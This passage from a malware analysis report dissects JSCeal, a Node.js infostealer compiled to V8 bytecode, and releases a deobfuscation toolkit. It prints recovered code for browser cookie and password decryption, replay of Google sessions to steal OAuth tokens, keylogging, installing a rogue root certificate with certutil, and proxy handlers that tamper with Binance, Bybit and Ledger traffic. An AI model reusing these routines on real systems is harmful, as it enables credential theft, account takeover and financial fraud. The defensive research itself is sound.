        r8 = r7(r1)
        r7 = r0
        r7 = await r8
        r8 = _GeneratorGetResumeMode(r0)
        if (!r8 === 0)
        {
            ACCU = r7
        }
        r3 = r7["os_crypt"]["encrypted_key"]
        r4 = r7["os_crypt"]["app_bound_encrypted_key"]
        r7 = new {"key": null, "appBoundKey": null}
        r7["key"] = func_decodeBase64Buffer_0x10000b6eb(r3, func_decryptKey_0x10000b6e7)
        r7["appBoundKey"] = func_decodeBase64Buffer_0x10000b6eb(r4, func_decryptAppBoundKey_0x10000b6e8)
        r8 = r7
        r7 = r0
        ACCU = r8
        return r8
    }
    catch {}
    r7 = ACCU
    ACCU = null
    ACCU = Scope[1594]
    r8 = r0
    return Scope[1594][2]
}

ℹ Note: the _GeneratorGetResumeMode check is V8’s internal mechanism for resuming after an await; it can be treated as control-flow bookkeeping.

Cookies are read directly from the SQLite database located at:

<profile>\Network\Cookies

The query retrieves both plaintext and encrypted values, along with the host, path, expiry time, HttpOnly flag, and SameSite setting:

SELECT
    host_key,
    path,
    name,
    CAST(value AS BLOB) AS plain_value,
    CAST(encrypted_value AS BLOB) AS encrypted_value,
    is_httponly,
    samesite,
    expires_utc
FROM cookies

If a plaintext value is not present, the encrypted value is passed to the browser-data decryption routine. The resulting record is normalized into a structure such as:

{
    host: host_key,
    path: path,
    name: name,
    value: decryptedValue,
    httpOnly: isHttpOnly,
    sameSite: sameSite,
    expiresAt: expiryDate
}

Saved credentials are handled in a similar way. JSCeal opens the Login Data database and extracts the origin, username, and encrypted password:

SELECT
    origin_url,
    username_value,
    password_value
FROM logins

Original snippet [here].

After decryption, the malware produces a structured credential record:

{
    origin: row["origin_url"],
    username: row["username_value"],
    password: decryptedPassword
}

The decryption implementation supports multiple Chromium data formats. Values prefixed with v10 or v11 are decrypted using the key recovered through DPAPI. Values prefixed with v20 use the App-Bound key. Records without one of these prefixes are passed directly to the native DPAPI unprotection routine, optionally under the security context of the browser’s user session.

The responsible code:

function func_decryptPassword_0x10000af0f(a0, a1, a2, a3)
{
    r1 = Scope[1930][27]["startsWith"]
    if (r1(a0, "v10"))
    r1 = Scope[1930][27]["startsWith"]
        || (r1(a0, "v11"))
    {
        if (!a1)
        {
            ACCU = Error
            ACCU = Error("DPAPI key is required")
        }
        r4 = a0["subarray"]
        r4 = r4(3)
        return func_decryptAesGcm_0x10000af16(r4, a1)
    }
    r1 = Scope[1930][27]["startsWith"]
    if (r1(a0, "v20"))
    {
        if (!a2)
        {
            r2 = "AppBound key is required"
            ACCU = Error
            ACCU = Error(r2)
        }
        r4 = a0["subarray"]
        r4 = r4(3)
        return func_decryptAesGcm_0x10000af16(r4, a2)
    }
    if (a3 == null)
    {
        ACCU = Error
        ACCU = Error("Session id is required")
    }
    return func_decryptData_0x10000af12(a0, a3)
}

This gives JSCeal access not only to raw browser files, but to usable records containing session cookies, usernames, and decrypted passwords. The data can be saved through the malware’s collection handlers, consumed by platform-specific modules, or reused immediately by another part of the browser component.

One of those uses goes beyond passive credential collection.

From stolen browser data to active session replay

The browser router contains a dedicated operation named saveAndroidTokens:

r9 = new {"start": null, "saveProfiles": null, "saveExtensions": null, "saveAndroidTokens": null, "openLink": null}
[...]
r10 = (global_Nh["procedure"])["mutation"]
r9["saveAndroidTokens"] = r10(func_processBrowserCookies_0x1000006d5)
[...]

Original snippet [here].

The implementation uses Puppeteer together with puppeteer-extra. Before launching the browser, it registers a set of core and stealth plugins. It also uses ghost-cursor to perform some of the page interactions.

The malware does not download a separate Chromium build. It launches one of the browsers already installed on the machine, using the executable paths and profiles discovered by the browser module. The launch configuration explicitly selects Puppeteer’s headless shell mode:

options["executablePath"] = browserExecutable
options["headless"] = "shell"

browser = puppeteer.launch(options)

You can see the full function [here].

JSCeal first creates a page and injects cookies recovered from the victim’s browser profile:

page = await browser.newPage()
await page.setCookie(...recoveredCookies)

It then opens Google’s Android authentication endpoint:

https://accounts.google.com/o/android/auth?return_user_id=true

You can see the full function [here].

The navigation waits until network activity has settled:

await page.goto(
    "https://accounts.google.com/o/android/auth?return_user_id=true",
    { waitUntil: "networkidle2" }
)

You can see the full function [here].

Once the page is loaded, the malware enumerates the Google accounts displayed in the current session:

const elements = await page.$$("div[data-email]")

Original snippet [here].

For each recovered email address, it queries the passwords previously extracted from browser storage. It then selects the corresponding account using a selector built from the email address:

await cursor.click(
    "div[data-identifier=\"" + email + "\"]"
)

You can see the full function [here].

The automation handles multiple branches of Google’s authentication flow, including:

/signinchooser
/signin/confirmidentifier
/signin/challenge
/signin/challenge/selection
/signin/challenge/pwd
/oauth2/programmatic_auth

You can see the full function [here].

When a password challenge is reached, JSCeal iterates over the candidate passwords associated with that account:

for (password of recoveredPasswords) {
    console.info("Trying password " + password)

    await page.type(
        "input[type='password']",
        password
    )

    // Continue the authentication flow and inspect the result.
}

You can see the full function [here].

An invalid password is detected through the state of the password input. A successful attempt is expected to lead either to the programmatic OAuth endpoint or to another supported challenge stage.

After authentication, the malware reads the browser’s cookies and searches specifically for:

user_id
oauth_token

The result is returned together with the password that produced it:

{
    userId: userIdCookie,
    token: oauthTokenCookie,
    password: successfulPassword
}

Finally, the token is saved through the malware’s Google handler with its scope explicitly marked as ANDROID:

await google.saveOAuthToken.mutate({
    userId: userId,
    scope: "ANDROID",
    value: token
})

You can see the full function [here].

This changes the nature of the browser-stealing capability. JSCeal does not just copy cookies and password databases for later examination by the attacker. It can reconstruct a browser session, replay the victim’s cookies, correlate Google accounts with passwords recovered from the same host, automate authentication challenges, and obtain a fresh OAuth token.

The use of stealth plugins and ghost-cursor suggests an attempt to reduce obvious automation fingerprints and make interaction with the login pages resemble ordinary browser activity. It does not guarantee that the procedure succeeds against every version of Google’s authentication flow, but the deobfuscated code clearly shows that the complete workflow was implemented.

Not every browser-related operation uses Puppeteer. A separate openLink handler launches an installed browser directly with the selected --user-data-dir and --profile-directory. Puppeteer is used for the more involved operation where JSCeal needs to inject cookies, navigate between authentication stages, interact with page elements, and retrieve the resulting authentication state.

Spying functionality

The function labeled func_initializeScreenCaptureModule_0x10000d2e3 is indeed responsible for setting up screenshot capture, but its scope goes beyond that. Inside we also find a keylogger and handlers for enumerating and manipulating visible windows. The inner functions carry more granular labels — func_takeScreenshot_0x10000d2d1, func_getVisibleWindows_0x10000d2d3, func_controlWindow_0x10000d2d4, func_initKeyboardCapture_0x10000d2e1 — and taken together they reveal what the parent name understates. Examining each function manually confirms that this is a broader surveillance module.

function func_initializeScreenCaptureModule_0x10000d2e3()
{
    Scope[7][10] = func_c_0x10000d2c7
    r5 = func_initializeNativeModule_0x1000054f8["exports"]()
    global_K5 = func_interopRequireWildcard_0x10000317a(r5)
    r5 = func_initKeyboardModule_0x10000d2c6["exports"]()
    global_e6 = func_interopRequireWildcard_0x10000317a(r5)
    ACCU = func_requireCluster_0x10000317e()
    ACCU = func_noopDispose_0x10000676f()
    ACCU = func_initClusterModule_0x10000cdef()
    ACCU = func_initializeObservableAbortError_0x100006649()
    ACCU = func_noopSetup_0x100006778()
    ACCU = func_noopHandler_0x10000673e()
    ACCU = func_unknown_0x10000590f()
    ACCU = func_initializeBufferCheck_0x10000701a()
    r6 = global_e6["keyboard"]["start"]
    r5 = r6["bind"]
    r5 = r5(global_e6["keyboard"])
    r7 = global_e6["keyboard"]["stop"]
    r6 = r7["bind"]
    r6 = r6(global_e6["keyboard"])
    global_TL = func_createAbortableStream_0x1000004e4(r5, r6)
    r2 = (func_createInstance_0x100000ab5())["router"]
    r4 = new {"screenshot": null, "windows": null, "keydown": null}
    r7 = (func_createInstance_0x100000ab5())["procedure"]
    r6 = r7["input"]
    r9 = global_fi["number"]()
    r8 = r9["optional"]
    r8 = r8()
    r6 = r6(r8)
    r5 = r6["query"]
    r4["screenshot"] = r5(func_takeScreenshot_0x10000d2d1)
    r5 = (func_createInstance_0x100000ab5())["router"]
    r7 = new {"visible": null, "control": null, "flash": null}
    r9 = (func_createInstance_0x100000ab5())["procedure"]
    r8 = r9["query"]
    r7["visible"] = r8(func_getVisibleWindows_0x10000d2d3)
    r10 = (func_createInstance_0x100000ab5())["procedure"]
    r9 = r10["input"]
    r11 = global_fi["object"]
    r13 = new {"handle": null, "command": null}
    r13["handle"] = global_fi["number"]()
    r17 = func_getObjectKeys_0x1000004ce(global_K5["windowCommands"])
    r13["command"] = func_enumValue_0x100000542(r17)
    r11 = r11(r13)
    r9 = r9(r11)
    r8 = r9["mutation"]
    r7["control"] = r8(func_controlWindow_0x10000d2d4)
    r10 = (func_createInstance_0x100000ab5())["procedure"]
    r9 = r10["input"]
    r11 = global_fi["number"]()
    r9 = r9(r11)
    r8 = r9["mutation"]
    r7["flash"] = r8(func_flashWindow_0x10000d2d5)
    r4["windows"] = r5(r7)
    r6 = (func_createInstance_0x100000ab5())["procedure"]
    r5 = r6["subscription"]
    r4["keydown"] = r5(func_initKeyboardCapture_0x10000d2e1)
    global_LL = r2(r4)
    ACCU = func_runIfWorkerPool_0x10000000b(("sessions"), func_initWorkerSocketLL_0x10000d2e2)
    return undefined
}

Interception proxy and targeted traffic manipulation

A common technique used by banking trojans is to install a local proxy and inject or modify web content in selected services. JSCeal follows a similar pattern: the recovered code shows proxy setup, certificate generation and installation, and service-specific request and response modification.

There is a function that runs the local proxy:

function func_setLocalProxy_0x10000be31(a0)
{
    r2 = ("127.0.0.1:" + Scope[1139][4])
    return func_setProxyLoop_0x100000a41(a0, r2)
}

We can find a function that generates a certificate:

function func_generateKeyPairAndCertificate_0x10000072c()
{
    r6 = (require("crypto"))["generateKeyPairSync"]
    r7 = "rsa"
    r8 = new {"modulusLength": 2048, "publicKeyEncoding": null, "privateKeyEncoding": null}
    r9 = new {"type": null, "format": null}
    r9["type"] = "pkcs1"
    r9["format"] = "pem"
    r8["publicKeyEncoding"] = r9
    r9 = new {"type": null, "format": null}
    r9["type"] = "pkcs8"
    r9["format"] = "pem"
    r8["privateKeyEncoding"] = r9
    r6 = r6(r7, r8)
    r3 = r6["privateKey"]
    r4 = func_generateSelfSignedCertificate_0x10000071d(4096)
    r6 = new {"privateKey": null, "certificate": null}
    r6["privateKey"] = r3
    r6["certificate"] = r4
    return r6
}

Then, it installs a locally generated, attacker-controlled root certificate onto the victim machine, first dropping it as a temporary file, and then using certutil to add it to the local store.

function func_installCertificate_0x100000a3e(a0)
{
    r6 = <closure>
    r7 = <this>
    ACCU = func_n_0x100000a3c
    try
    {
        r8 = global_UK["tmpName"]()
        r7 = await r8
        r8 = _GeneratorGetResumeMode(Scope[10601])
        if (!r8 === 0)
        {
            ACCU = r7
        }
        r3 = r7
        ACCU = r3
        try
        {
            r10 = (require("fs/promises"))["writeFile"]
            r11 = r10(r3, a0)
            r10 = await r11
            r11 = _GeneratorGetResumeMode(Scope[10601])
            if (!r11 === 0)
            {
                ACCU = r10
            }
            r13 = "certutil"
            r15 = new [0, "-f", 0, 0]
            r15[0] = "-addstore"
            r15[2] = "root"
            r15[3] = r3
            r11 = r2
            r11 = func_spawnChildProcess_0x100000706(r13, r15)
            r10 = await r11
            r11 = _GeneratorGetResumeMode(Scope[10601])
            if (!r11 === 0)
            {
                ACCU = r10
            }
            ACCU = -1
            r8 = -1
            r7 = -1
        }
        catch
        {
            r8 = ACCU
            r7 = 0
        }
        r11 = (require("fs/promises"))["rm"](r3)
        r10 = await r11
        r11 = _GeneratorGetResumeMode(Scope[10601])
        if (!r11 === 0)
        {
            ACCU = r10
        }
        ACCU = null
        if (r7 === 0)
        {
            ACCU = r8
        }
        r8 = undefined
        ACCU = r8
        return r8
    }
    catch {}
    r7 = ACCU
    ACCU = null
    ACCU = Scope[10602]
    return Scope[10602][2]
}

The proxy is not limited to passive interception. The recovered code contains dedicated handlers that modify selected requests and responses for specific services. A configuration function exposes separate overrides for Binance, Bybit, and Ledger, as well as generic handlers for replacing HTML, blocking hosts, and clearing selected cookies.

function func_applyInputOverrides_0x10000be34(a0)
{
    ACCU = a0["input"]["binance"]
    r2 = a0["input"]["binance"]
    if (!a0["input"]["binance"] == undefined)
    {
        ACCU = r2["overrideQR"]
    }
    else
    {
        ACCU = undefined
    }
    if (ACCU)
    {
        r2 = global_Nm["overrideQR"]
        r4 = a0["input"]["binance"]["overrideQR"]
        ACCU = r2(r4)
    }
    else
    {
        ACCU = global_Nm["disableOverrideQR"]()
    }
    ACCU = a0["input"]["bybit"]
    [...]

You can see the full function [here].

For Binance, JSCeal intercepts the QR-login response and replaces the returned qrCode value with a configured value.

function func_appendQrCode_0x1000009f1(a0)
{
    if (a0["json"]["success"])
    {
        r2 = a0["json"]["data"]
        r2["qrCode"] = Scope[10627][2]
        r2 = new {"json": null}
        r2["json"] = a0["json"]
        return r2
    }
    return undefined
}

The Bybit handlers go further. One forwards intercepted verification components through the same global_iB network client described earlier and removes them from the intercepted response.

function func_sendBybitCodes_0x100000a09(a0)
{
    Scope[10623][3] = func_x_0x100000a07
    r4 = Object["entries"]
    r6 = a0["json"]["component_list"]
    r4 = r4(r6)
    r3 = r4["map"]
    r1 = r3(func_joinWithColon_0x100000a08)
    if (r1["length"])
    {
        r5 = global_iB["notifications"]["send"]
        r4 = r5["mutate"]
        r7 = r1["join"]
        r6 = ("Bybit codes\\n" + r7("\\n"))
        r4 = r4(r6)
        r3 = r4["catch"]
        ACCU = r3(func_pushError_0x100000142)
    }
    a0["json"]["component_list"] = {}
    r3 = new {"json": null}
    r3["json"] = a0["json"]
    return r3
}

Another converts a successful pass result into a new challenge with a randomly generated risk token.

function func_injectRiskToken_0x100000a0d(a0)
{
    if (!a0["json"] == undefined)
    ACCU = a0["json"]["result"]
    r4 = a0["json"]["result"]
        && (!a0["json"]["result"] == undefined)
    {
        ACCU = r4["risk_token_type"]
    }
    else
    {
        ACCU = undefined
    }
    r4 = ACCU
    if (r4 === "pass")
    {
        r2 = a0["json"]["result"]
        r3 = "risk_token"
        r4 = (require("crypto"))["randomUUID"]
        r2[r3] = r4()
        r2 = a0["json"]["result"]
        r2["risk_token_type"] = "challenge"
        r2 = new {"json": null}
        r2["json"] = a0["json"]
        return r2
    }
    return undefined
}

A Ledger-specific handler intercepts /public_resources/analytics.min.js from resources.live.ledger.app and substitutes a generated script that hides the existing React root and displays configured HTML in its place.

function func_initErrorDisplay_0x100000a1a(a0)
{
    ACCU = func_removeElement_0x100000a1c()
    Scope[10617][3] = func_buildErrorDisplayScript_0x100000a1e(a0)
    r4 = (global_Gm["createChild"]())["get"]
    r6 = "resources.live.ledger.app"
    r7 = "/public_resources/analytics.min.js"
    r8 = new {"response": null}
    r9 = new {"full": null}
    r9["full"] = func_createFullBody_0x100000a19
    r8["response"] = r9
    ACCU = r4(r6, r7, r8)
    return undefined
}

Other utility handlers can return arbitrary HTML with a 200 response while stripping CSP and content encoding, return an empty 403 response for selected hosts, or clear selected cookies in intercepted requests and responses.

Cryptocurrency account and balance collection

JSCeal contains multiple handlers targeting cryptocurrency platforms. One class of handlers intercepts account data and records cryptocurrency balances.

For example, Kraken is one of the targeted services. The snippet below shows the corresponding initialization.

function func_initKrakenRouter_0x10000bc3e(a0)
{
    Scope[1246][6] = func_a_0x10000bc35
    ACCU = a0
    if (a0)
    {
        ACCU = a0["__importDefault"]
    }
    if (!ACCU)
    {
        ACCU = func_interopRequireDefault_0x10000bc3a
    }
    r1 = ACCU
    r7 = Object["defineProperty"]
    r10 = "__esModule"
    r11 = new {"value": <true}
    ACCU = r7(a0, r10, r11)
    r10 = func_initModule_0x10000ba72["exports"]()
    Scope[1246][7] = r1(r10)
    r2 = func_initJsonTransformerModule_0x10000ba7b["exports"]()
    r3 = func_initializeRouterBridgeModule_0x10000ba61["exports"]()
    r4 = "iapi.kraken.com"
    r7 = r3["Router"]
    r5 = r7(r0)
    r7 = r5["get"]
    r10 = "/api/internal/account/balance/history"
    r11 = new {"response": null}
    r12 = new {"full": null}
    r13 = r2["jsonTransformer"]
    r12["full"] = r13(func_saveKrakenBalance_0x10000bc3d)
    r11["response"] = r12
    r8 = r5
    ACCU = r7(r4, r10, r11)
    a0["default"] = r5
    return undefined
}

function func_saveKrakenBalance_0x10000bc3d(a0)
{
    Scope[1247][3] = func_C_0x10000bc3b
    r4 = a0["json"]["result"]["historical_balances_per_asset_category"]
    r3 = r4["map"]
    r1 = r3(func_getLastHistoricalBalance_0x10000bc3c)
    r4 = Scope[1246][7]["default"]
    r3 = r4["saveBalance"]
    if (!r4["saveBalance"] == undefined)
    {
        r5 = new {"source": null, "name": null, "value": null}
        r5["source"] = "EXCHANGE"
        r5["name"] = "KRAKEN"
        r5["value"] = r1
        ACCU = r3(r5)
    }
    else
    {
        ACCU = undefined
    }
    return undefined
}

function func_getLastHistoricalBalance_0x10000bc3c(a0)
{
    r0 = a0["historical_balances"]
    return r0[(a0["historical_balances"]["length"] - 1)]
}

We extracted platform identifiers from all saveBalance calls, obtaining the following list of targets:

UBITEX PAXFUL KRAKEN HTX COINSPH
TOKOCRYPTO OKX KCEX HATA COINHUB
REMITANO NOONES FORTUNO_MARKETS GATEIO BYBIT
POLONIEX MEXC CSGOEMPIRE FMCPAY BINANCE
PIONEX KUCOIN I3Q DIGIFINEX ASCENDEX

JSCeal evolution

The last JSCeal payload we observed using V8 10.2.154.26-node.25 was 0d1fce0cb2b9dec26a10f0822aeffb19, associated with campaigns starting at the end of October 2025. By that time, we could already see the authors making incremental changes intended to complicate analysis.

Earlier, the JavaScript launcher had been renamed from preflight.js to preload.js and, along with this change, was itself obfuscated using the same javascript-obfuscator. The payload was also renamed to app.js. Although its contents were still a V8 code cache rather than JavaScript source, the new name made it blend in better with ordinary application files and rendered hunting based on the .jsc extension ineffective. These changes were still relatively minor and did not require modifications to our analysis toolkit.

A more significant update appeared in campaigns starting early November 2025. The bundled Node.js runtime was upgraded, bringing V8 to 13.6.233.10-node.28. In our experiments, code caches produced for this runtime proved considerably more sensitive to the exact runtime build and snapshot configuration, making it more difficult to obtain a compatible standalone V8 disassembler. However, once we were able to recover and decompile the bytecode, the overall payload structure remained familiar. We could recognize the same javascript-obfuscator patterns, including the string-decoding infrastructure, proxy indirection, and control-flow flattening used by the earlier generation.

The authors introduced another obstacle by adding an AES-256-CBC encryption layer around the Brotli-compressed payload. The first encrypted payload we observed was generated on 2025-11-11 (581e2e2265d0c1509b3799c5a9039374). The AES key is not stored in the malware bundle itself. Instead, another stage of the deployment chain provides it through an environment variable. Recovering the underlying V8 code cache therefore requires obtaining the corresponding key from the surrounding infection chain, which is not always possible when only an isolated bundle or payload is available. Protecting a payload with an encryption key supplied by an earlier deployment stage is an effective anti-analysis technique, consistent with patterns seen in other mature malware frameworks.

Alongside these changes in payload protection, we also observed campaigns targeting macOS; one example is de10c6b3dc4619f59bc9c80a0aa15e6a.

Taken together, these developments show that the JSCeal authors are investing both in making the payload harder to analyze and in broadening its platform coverage. With campaigns continuing into recent months, the changes indicate that JSCeal remains under active development.

Conclusions

JSCeal combines two forms of analysis friction: a version-specific compiled V8 format and several layers of JavaScript obfuscation applied before compilation. Neither makes the malware impossible to reverse, but together they move it outside the workflows that analysts normally rely on.

Several conclusions emerged from this work.

Format choice creates asymmetric analysis cost. Attackers do not need a custom compiler or a novel virtual machine to obtain meaningful protection. They can combine the Node.js ecosystem, an off-the-shelf obfuscator, and V8 code caching to produce capable malware quickly. The defender, meanwhile, has to deal with version-sensitive bytecode, immature tooling, and a large pseudocode corpus before reaching the application logic.

Layered obfuscation needs to be addressed with layered deobfuscation. JSCeal’s transformations depend on one another. Recovered strings expose dictionary keys and dispatcher order; those expose proxy relationships; proxy cleanup reveals simple operations and direct calls. Reconstructing the script in one go was not possible. We had to isolate each transformation and undo them by a narrow, ordered sequence.

Static recovery can be practical without producing runnable source. View8 pseudocode is not the original JavaScript, and our pipeline does not attempt to make it executable. Nevertheless, the recovered representation is sufficient for ordinary analytical work: following logic, locating capabilities, extracting artifacts, comparing samples, and validating behavior against runtime observations.

LLM-assisted naming is useful as navigation, not as evidence. Dependency-aware renaming can make very large recovered codebases substantially easier to browse, especially after deterministic deobfuscation has already exposed meaningful strings and calls. Our evaluation also showed why the labels must remain hypotheses: different models often choose different levels of abstraction, and even strong models can produce confident but incorrect names. The function body, strings, APIs, paths, and data flow remain the evidence.

The recovered JSCeal code exposes a broad capability set. The analyzed payloads include browser and credential theft, cryptocurrency-focused collection, Telegram session theft, keyboard capture, screenshots, and a local HTTPS interception proxy capable of installing an attacker-controlled certificate. Static recovery makes it possible to examine not only behavior observed during one run, but also branches that may not execute in a particular environment.

Version sensitivity remains a tooling challenge. The move from the V8 10.2.154.26-node.25 generation to 13.6.233.10-node.28 demonstrates the cost of relying on an internal, version-specific format. A new runtime generation can require renewed work at the disassembly layer even when the malware’s higher-level structure and obfuscation remain recognizable.

The main result is therefore not perfect source reconstruction. It is a repeatable path from a compiled, obfuscated V8 payload to code that can be inspected and compared again. We released version 1.0 of the toolkit [7] as a reference implementation of that methodology and as a starting point for analysts facing similar V8-based payloads. The current end-to-end setup targets V8 10.2.154.26-node.25. We are planning to add support for V8 13.6.233.10-node.28 in future releases.

The recent JSCeal changes show that the problem is still moving. Payload names, runtime versions, encryption layers, and target platforms can change while the core analysis challenge remains the same: recover enough structure to turn an opaque compiled artifact back into evidence.

Appendix – A

Listing of the most important changes introduced in the View8 code during the development of the deobfuscation pipeline.

Serializing output

By default, View8 emits only a text representation of the decompiled output.

As part of our pipeline, we needed to apply multiple transformation passes. Working with the decompiler’s internal representation was much more convenient than parsing raw text. This is why we introduced an additional output format: a serialized object graph representing the internal decompilation state. Python’s pickle format was chosen for convenience.

The deobfuscator loads the pickled input and operates directly on the reconstructed View8 objects. Each pass can work independently, reading the serialized state produced by the previous pass.

Splitting output

Another difficulty in JSCeal analysis was the significant size of the output, which reached up to 47 MB because the payload included a large number of bundled modules. As a result, finding the code that belonged to the malware itself was quite challenging. To make the output easier to navigate, we added to the View8 decompiler the ability to split it into separate files, each representing a single tree of function dependencies.

The tree can be constructed using different relationship types: the declarer hierarchy (declarers), direct function calls (calls), or broader function references (references). For call- and reference-based trees, the analyst can also control the traversal depth and separate larger branches into individual files. This makes it possible to extract a focused subsystem around a selected root without printing the entire payload.

Normalization of the generated function identifiers

Each function name generated by the View8 decompiler contains a hexadecimal suffix derived from address values present in the V8 disassembly. These values correspond to live heap addresses used by V8 and are not stable across different runs. Because of ASLR, disassembling the same JSC file twice may therefore produce different function identifiers. The relative object layout may also differ between V8 or disassembler builds, making simple address rebasing insufficient.

For reproducible output, we added the --normalize option. It replaces the address-derived suffixes with deterministic identifiers based on the order in which functions are encountered while parsing the disassembly. A fixed virtual base is added to the parse index, preserving the familiar func_<name>_0x<value> format while making the identifiers independent of the original heap layout.

The mapping between the original and normalized function names can optionally be exported to a CSV file using --normalize-map.

Function and line metadata

We introduced a metadata field to each line and function. This lets us pass information between each layer of the deobfuscator and reduces the burden of reparsing. For example, once we parse a line and enumerate all the registers it references, this information can be stored in the line object for further use.

Similarly, metadata can be added to a function. As a result, even after deobfuscating a function we don’t lose the information about what type of obfuscation was applied to it (for example: Control Flow Flattening). We can filter the functions by the metadata tags, and display them selectively.

Hiding functions

In past releases, View8 allowed lines to be hidden by setting the visibility field in the line object. While this feature is very useful, it may not be enough when we are dealing with obfuscated code. Sometimes there is a need to hide entire functions, not only selected lines.

For example, we will encounter multiple proxy functions, of different types, that were introduced only for the purpose of complicating the code flow. Sometimes a single call is done by a rabbit-hole of proxies, that have to be understood and then removed, to make the call direct.

There are also many small functions whose only role is to implement a single arithmetic operation. During the deobfuscation process, those functions will be parsed and the calls to them will be replaced by the explicit operations. Once the functions are resolved, they can be safely hidden.

Changed representation of globals

The original View8 output displays global variables by the names with which they were declared. In the case of obfuscated code, those names are intentionally made meaningless. Sometimes they are one or two characters long. We also encountered cases in which the names of globals were identical to the names of registers used by the standard JSC code (r{number}) and therefore, understanding what they really represent required broader contextual analysis. In order to make the meaning more explicit, and the output easier to parse, we appended the global_ prefix to each global variable.

Once the globals are parsed, their explicit definition in the start function (DeclareGlobals) is hidden.

Example:

Before:

ACCU = DeclareGlobals(["oQ", "kg", "xQ",...])
[...]
oQ = Object["create"]
kg = Object["defineProperty"]
xQ = Object["getOwnPropertyDescriptor"]

After:

global_oQ = Object["create"]
global_kg = Object["defineProperty"]
global_xQ = Object["getOwnPropertyDescriptor"]

Appendix – B

The analyzed files

Note:

The tests were performed on 23 different payloads using V8 10.2.154.26. During two unattended test runs, documented in the repository [8] (directory sessions_23_samples), all filters completed without exceptions and produced output suitable for code-level analysis. The collected logs show the details of each run, along with the timing and evaluation. The appendix lists one additional, older payload beyond the 23-sample main evaluation corpus. Its deobfuscation was successful, but it uses an earlier, simpler string-obfuscation variant handled by deobf_str1.py, so it was not included in the automated pipeline evaluation.

JSC files (original, Brotli-compressed) with corresponding bundle (build.zip):

md5 (jsc) sha256 (jsc) sha256 (bundle.zip)
03f4e47b9c2283c32bb8f8f042ce6e41 de213ebc44c614d0b2324787e267183dbbbbb19e1ad866435a322ee00e24e7b6 c77b3b7a507162bfc03cfeb8ef18d5ee7017e8fcbd6d7e005f986a3c967b8d45
0b8015cbb1ffdc6efe6a306ff5b1115f 4757f3d26bc7110e9c7f4da8050afc2ed661cd92aec9cf7d301d9b9b24e0b668 b90e3aaae14e7787e5ea4a6d4beee672049bd5eb05427f2c80b64f605860d2b8
1026743185dfa10e9ddc21b5a4c578d5 212d21ed1c4b5bd9b9104e04f2876842b99cd17def3591df72781891d584dca0 55ee2359b12fbce928532d1d4efcfbbbd63340502d0107466c803d6517b44437
201f28b5e62e52e269757930f941c774 f720d6f6baebd4ef76df978f2678387385ee2d20a37423e7957c2341fe46f9ca b3f76851a8e55a967029be7ffe4c15afd63656d6946a3df77206455e5ac28ea1
2fe27eb8c99626e8c02e4bfd02aca962 8d389f56c5b71d194bddd5b6ce5906e7e22730034ad882606cc8ae701011bf8c 67e3d7bcdf4cfd25750425ac0682e0ed98b3cb473448696fb79bf311fcdb18cd
376ec4dbc3363fa7131367e4c6327a46 2ef1ea37a941330a79a3056461e61992864e6e38c0f68cbb626ebf1f96e362c5 99b8124c2a64d26567f19a44618144b1d6a7501a5892918f0120a496f983a0f2
462195f7f8033df7371e899fe9bc51de 62ba626bce09db5f8750938edced3768b401084a7d6584cd6ff9d53d2517781d dc561df51d27ed3a99cb916bf08452c901956778c26709e69705cbdf77f74816
499184635d56a9827d2059256a35e530 c12ac711b4ceaa17a4e48b16fca7dabd615e4eaf35bb65fe9131ceac1687095a dd2bb7316be55446aebfa31d05e57e936eb9a18d5d9c20d60d87493100d05fe6
533d0b93ea03cd5bab4eec0f0ebadd03 484da78b0fef35711f86876f7c1c77264b8e4295d7393369379c384c05337ec5 684aabefe516539cda48c65cb08014e6eb645b4f1e668d159fe0c18cf74eb407
68ac84a8470d1f365f0bb2f37b6256d5 0c31453e74a3b763c7aea550b4f5f194e7656226012b243221eb93fa22da118e f6c670e65765d10a5ca0205a6ece3a3e6c7c730b0a8534c5adef4a3cbf06eb9c
6e023b9b3097a2dba311cb06a91fe259 5f071a36c0a79ddce92824a49fd8e9bd048b87cabb635671073402365afc342a 3d800b7dbdcb6874e29ddd2e9a1313f3d82b323e89a720c632c708098a7ca0e9
7b659fa5c93af29c4e11d8c8be437058 82f8215c7e68f4a6b656b7dc6638982a6625c662ce6d6a05330eefbfde2637ac 6b498ec73d32860202b6a6ff8d21f8b5216c3903e066136f9d69ef2969955a78
8fb3e6acb2024601eba0ba484091ff3d 31b38e76ccaca6f38168b4fdd9cbdedd8efa7e65fe6090240e281bd3152a6feb 5fe810cb5b34c8fd07c7eca301b32ef2d3b86290828d67edaad8444db811f20b
af105a6d4dc10b2bfefd75e917245523 caf8bfc90e4300b8a18c3fe3a4badbe44c106830e7432d8eea227857a790ec91 7f3e73b2e0ebea3eaffa3685e0a162d10fde388282060d9e35b173b743676916
b2dad3f88b7f6870f83eb1ad852b7f7e 1f5acba97db6d514e4b35ba0601c5269697e8ab3bb99d097db25ec7e74464594 8c674f58b157a7319b564bb774e7aeb35135d615511838e4a553fe7ea9e94759
d064dfaaef30c057b832c79996c35e89 9b5359dc99501ef2a4667d265e9b032f76dc28c97437a463965e2168d20e5c38 5a024ae97242be3b1b954f845f7a87a1411c47830f81a2b54f47ec2cf741e2a0
d5b4137135cf121e3ea07b1c81fe1108 8abffe0d13d3b93ca3469045e4cebbee25b3631e6bba13880f04b7c8acac2536 09f803f69bde280adbd4e584ed26a01affac9721db8c5730275d385f084b422a
e26687982d924ffebef6fbf2d9d43350 95b39a0bad021f33e08df042b02d3267faee7bbc3e3080dda295c35b464dd607 18347a39f174c97947649b3f1de55e8409ff805e808f2101e5953a956e9ee99f
e27ae65977287bdfb7b0e15fd3603f85 b73c3d732bb6bff8b9088cc0dcbadb35eea0802056324f1b6295cb9277c62755 9615f60ea3cc1c65eb8fe6d77bb85fe6b455503193eab02310a873fccadd332e
e711a90b5ece5380e1acaed56827e8d5 1b0efeb1d988b7bc11014ccc9fdff141fc16425d659f553f6cc6946872499667 acdaba94e9975e8e03fa13bae7f0f93f165f42226aeecea3af5a4e0111bdfb7e
0d1fce0cb2b9dec26a10f0822aeffb19 5b4edd9bffdd7909b8b432eacd463d59eb23eba151c9e218161ab15dd72d55ed 2d42aa747f7ebc3280b14d30c6b71043545888946d9d6acd6abbaf4545841462
e8b5448b4f7b013e8c6191b20d3f8291 05db78bff1a48a674e70368b96a550a5f9f93271eb261ab63b36ee37e0e8b9f8 84db0663b6aa8df2ac04470288fd5528f5537fb89d78a2e01cabdce371a686e8
fd4494c555adda2eb54b88f5c9c08801 058ae4136e241f116d8c5b1a1cad15b53090797154539faa35706568fbd85d9b 7e1c82cdcff73ac69fee3ba71d67353a062103f1bfae4f263d03b3b84e48d782

